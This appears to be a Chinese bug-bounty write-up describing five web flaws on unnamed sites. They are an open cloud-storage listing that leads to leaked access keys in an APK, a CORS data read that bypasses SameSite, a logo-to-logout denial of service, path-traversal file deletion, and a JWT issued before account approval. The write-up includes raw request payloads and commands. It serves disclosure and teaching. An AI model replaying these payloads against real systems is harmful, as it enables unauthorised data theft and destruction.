TL;DR

• 漏洞1：OSS 索引开启，遍历文件发现 apk；apk 解包后发现云存储的 ak/sk。
• 漏洞2：CORS 跨域读数据：响应数据加密，前端定位加密方法及密钥；发现 Cookie 设置了 SameSite 属性为 Lax，利用低版本浏览器不支持该属性绕过。
• 漏洞3：系统后台 Logo 处可引入外链，替换外链为系统退出登录的接口，达到用户登录后台，加载 Logo 后即退出登录，造成拒绝服务攻击。
• 漏洞4：任意文件删除：后端校验删除路径是否包含当前用户的 userID，通过 ../ 跳出并拼接任意文件路径达到任意文件删除。
• 漏洞5：注册功能点返回了注册账号的 JWT，即使账号未能成功通过审核，也可以利用该 JWT 调用系统接口。

1.某站在 JS 文件中发现系统的 OSS 链接，访问发现云存储的索引开启

2.此时我想取出所有文件路径，拼接后逐一访问，看有无敏感信息泄露，若有则证明此索引开启存在问题

3.我先把整个响应下载，再正则提取、awk 拼接获得所有文件地址

$ curl http://foo.bar -o 111
$ cat 111 | rg -o "<Key>(.*?)</Key>" | sed 's/<Key>//g' | sed 's/</Key>//g' | awk '{print "http://foo.bar/"$1}'

4.获得地址后，可以分类去访问。比如图片后缀的地址批量打开，再逐一看有无敏感信息，如一些聊天记录截图；又比如文档文件批量打开下载，看是否包含敏感信息

5.一顿下载和查看后，敏感信息没有找到，但是发现一个 apk，下载安装后发现也是同一个站点，APP 内只有一个登录点，测试未发现问题

6.随即解包 apk，想看看能不能从源码中找到一些接口

$ jadx app.apk
$ cd app/sources/com/xxx/xxx

7.搜索后发现 OSS 链接所在的源码中，有一个 ak 和 sk

8.自然想到是云存储的 access key 和 secret key，使用行云管家 https://yun.cloudbility.com/ 验证

CORS 跨域读数据

1.某站一个读个人数据的接口存在 CORS 跨域漏洞

2.请求无不可预测参数，Origin 头校验不严，ACAC 头也为 true，允许跨域带上 Cookie，一切看起来非常美好。但我们注意到响应为加密数据，先看看能不能解密

3.加密响应形如 base64，我猜是 AES 加密、base64 编码输出。加密响应返回前端，那前端一般有用于解密的函数，解密成功后再展示个人信息

4.所以我前端控制台直接全局搜 decrypt

发现一处调用 decrypt 方法去解密的点，那貌似解密函数真叫 decrypt

5.我又全局搜 function decrypt，发现了 decrypt 方法的定义

密钥是变量 publicKey，AES加密、ECB、Pkcs7。

6.再全局搜 publicKey，发现并没 publicKey 的定义

7.想着 Burp 流量中会不会有 publicKey 的定义，随后又在 Burp 历史流量中搜 publicKey，在主站页面响应中发现了 publicKey，值为 @1IO0a^,_9$Fh:u0026=，u 为 unicode 编码，解码后为 @1IO0a^,_9$Fh:&=

8.万事俱备，解密看看

能正确解密！

9.使用key哥的 pocbox 生成 poc，访问发现请求没带上 Cookie，响应也没数据。

10.CORS 跨域条件都满足，没道理读不到数据哇。直到我注意到该系统 Cookie 的 SESSION 字段设置了 SameSite 属性为 Lax

11.SameSite 属性主要是用于控制跨域时是否能正常带上 Cookie，Lax 属性在跨域的 POST 请求中是不发送 Cookie 的，所以我们的 CORS 未能成功读取数据。参考 https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html

12.但是想到 Cookie 的 SameSite 属性会不会在一些低版本浏览器不支持，所以我到 mozilla MDN 文档去查，发现 chrome 也是 51 版本后才支持 SameSite 属性。参考 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie/SameSite

13.那现在思路就清晰了：我们用低版本 chrome 去验证能够跨域读取加密的个人数据，再获得到加密数据再手工解密。

14.若受害者使用低版本浏览器（此处使用 Chrome 49 验证）登录系统 ，再访问恶意页面后，攻击者就可以跨域获得受害者个人数据

系统后台 Logo 处可引入外链可致拒绝服务攻击

1.某系统后台登录后，注意到会有一条请求左上角系统 Logo 图片的流量

2.刚好系统后台存在修改 Logo 的功能，所以我想能否把该 Logo 该为系统退出登录的接口，达到用户访问后台、加载 Logo 即退出登录，导致拒绝服务攻击

3.该修改 Logo 功能的默认数据包如下，参数 logoText 为图片内容

POST /IntegratedConfiguration/SaveLogoConfiguration HTTP/1.1
Host: 
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

logoType=image&logoText=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KG...&logoColor=&logoSize=&configType=page&title=

4.测试发现系统退出登录的接口为 http://domain/zh-CN/Home/doLogout，自然地我们修改 logoText 参数为此 URL

POST /IntegratedConfiguration/SaveLogoConfiguration HTTP/1.1
Host: 
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

logoType=image&logoText=http://domain/zh-CN/Home/doLogout&logoColor=&logoSize=&configType=page&title=

5.修改 Logo 后访问后台，发现 Logo 流量变为了 http://domain/zh-CN/Home/http://domain/zh-CN/Home/doLogout，那我们只需要改 logoText 为 doLogout 即可

6.此时再访问后台

加载的 Logo 流量为 doLogout 退出登录接口

用户点击任意功能就会因 Cookie 失效而跳转到登录页面，造成拒绝服务攻击。

任意文件删除

1.某系统存在一个上传附件、删除附件的功能

2.账号A 删除附件的数据包如下

POST /xxx/delMsgFile HTTP/1.1
Host: 
Content-Length: 101
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: userA
Connection: close

path=/static/message/attachment/615113501/202112/f71a3360-2188-465c-b088-4c316ce54b75.jpg

3.想到能否任意文件删除，但系统文件不敢乱删，所以我又注册了另一个账号B，相同功能点，删除附件的数据包如下

POST /xxx/delMsgFile HTTP/1.1
Host: 
Content-Length: 101
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: userB
Connection: close

path=/static/message/attachment/615048559/202112/07caa5e0-ef6c-46d8-af11-5b4ea13756d2.png

4.那我直接尝试用 账号A 删除 账号B 的附件，若能删除成功则说明漏洞存在

但文件删除失败了

5.继续观察数据包，看到附件中有两个类似 userId 的值

userA: /static/message/attachment/615113501/202112/f71a3360-2188-465c-b088-4c316ce54b75.jpg
userB: /static/message/attachment/615048559/202112/07caa5e0-ef6c-46d8-af11-5b4ea13756d2.png

如上，userA 为 615113501，userB 为 615048559。

6.那我想后端在删除文件时是不是对这个 userId 做了校验呢？所以，又构造如下数据包，在 userA 的请求体中，先包含 userA 的 userID，再 ../ 跳出，并拼接 userB 的附件：

Cookie: userA

path=/static/message/attachment/615113501/../615048559/202112/07caa5e0-ef6c-46d8-af11-5b4ea13756d2.png

文件删除成功了！

7.再看能否删除任意文件，如果后端只校验是否包含当前用户的 userId，那我直接全部 ../ 跳出，再拼接系统任意文件即可

注册点 JWT 返回的逻辑问题

1.某系统注册逻辑如下：

• 第一步：输入手机号、密码，验证短信验证码
• 第二步：提交个人注册信息如姓名等
• 第三步：提交审核，完成注册

2.该系统账号要经过后台审核，才能正常登录

3.但是我发现在第一步验证完成后，系统即返回了用户的 JWT，不需要审核通过

4.并且我们可以注意到，请求头有一个空值的 token 字段，那不出意外这个 JWT 放在这个 token 字段就能以登录的身份调用系统接口

5.随即在 JS 文件中看看是否有其他接口，发现一些接口存在未授权访问问题，例如可以查后台文档

6.找到一个需要鉴权的接口，功能是评论文档，我们用来验证这个 JWT 有效：

7.能成功写评论！那么该系统就可以利用注册第一步返回的 JWT，即使后台不通过审核也能以登录后的身份调用系统接口

自评 TCV 1